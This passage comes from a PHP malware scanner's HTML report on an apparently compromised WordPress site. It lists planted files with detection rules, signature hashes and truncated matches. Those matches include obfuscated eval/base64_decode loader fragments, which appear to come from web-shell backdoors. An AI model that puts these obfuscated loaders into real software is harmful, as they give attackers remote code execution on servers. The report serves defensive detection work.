</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_92").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ovatwtwmy.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 20:10:39</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 20:10:39</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_93" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSvuX0l+i/6Jm9xfGkJT3L4yTp5urFQ/jX0Q...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Shgrt</span><span style="color: #007700">(</span><span style="color: #0000BB">$sJhXG</span><span style="color: #007700">(</span><span style="color: #0000BB">$LNuWx</span><span style="color: #007700">(</span><span style="color: #0000BB">$DesQW</span><span style="color: #007700">(</span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSv...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RinY</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_93").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/kuben.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:56:47</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:56:47</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_94" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_94").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/zrreq.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:16:36</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:16:36</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_95" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_95").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-load.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 3.98 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:05</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 14:16:41</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_96" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_96").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ovauuevob.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 20:12:32</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 20:12:32</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_97" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSvuX0l+i/6Jm9xfGkJT3L4yTp5urFQ/jX0Q...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Shgrt</span><span style="color: #007700">(</span><span style="color: #0000BB">$sJhXG</span><span style="color: #007700">(</span><span style="color: #0000BB">$LNuWx</span><span style="color: #007700">(</span><span style="color: #0000BB">$DesQW</span><span style="color: #007700">(</span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSv...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RinY</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_97").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ouvma.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:16:37</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:16:37</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_98" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
